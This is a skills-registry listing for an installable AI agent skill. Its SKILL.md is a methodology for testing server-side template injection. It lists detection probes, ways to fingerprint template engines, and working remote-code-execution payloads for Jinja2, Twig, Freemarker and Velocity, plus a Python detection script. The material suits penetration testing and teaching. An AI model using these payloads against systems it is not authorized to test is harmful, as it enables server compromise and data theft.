smithery/omkar-ukirde

ssti

Server-Side Template Injection testing methodology

Installation

$ npx skills add smithery/omkar-ukirde --skill ssti

Similar popular skills

Related neighbors and high-traction skills in the same topics — useful to compare before installing.

Also in this package

Other skills from smithery/omkar-ukirde.

npx skills add smithery/omkar-ukirde

Browse all from smithery/omkar-ukirde

More details

Agent compatibility

Declared targets from SKILL.md / docs. Unmarked agents are not listed — the skill may still install via the CLI.

Claude Code Not declared
Cursor Not declared
Codex Not declared
GitHub Copilot Not declared
Windsurf Not declared
Gemini CLI Not declared
Cline Not declared
OpenCode Not declared

Skill metadata

Parsed from SKILL.md frontmatter.

Version1.0.0

Package contents

Files included with this skill beyond the listing page.

  • skill md SKILL.md 1,922 B
  • docs SUMMARY.md 62 B

History

  1. First recorded snapshot · 0 installs

SKILL.md

SSTI Testing Methodology

Overview

SSTI occurs when user input is embedded directly into server-side templates, allowing code execution.

Detection

${7*7}
{{7*7}}
#{7*7}
${{7*7}}
<%= 7*7 %>
{{= 7*7}}

If you see 49 in response, template injection likely exists.

Template Engine Identification

Jinja2/Twig

{{7*7}} → 49
{{config}} → Config object dump

Freemarker

${7*7} → 49
<#assign x=7*7>${x}

Velocity

#set($x = 7*7)$x

Thymeleaf

[[${7*7}]]

Pebble

{{7*7}}

RCE Payloads

Jinja2 (Python)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

Twig (PHP)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Freemarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Velocity (Java)

#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

PoC Template

import requests

def test_ssti(url, param):
    payloads = [
        ('{{7*7}}', '49'),
        ('${7*7}', '49'),
        ('#{7*7}', '49'),
    ]
    
    for payload, expected in payloads:
        r = requests.get(url, params={param: payload})
        if expected in r.text:
            print(f"[+] SSTI detected with: {payload}")
            return True
    return False

Impact

  • Remote Code Execution
  • Server compromise
  • Data theft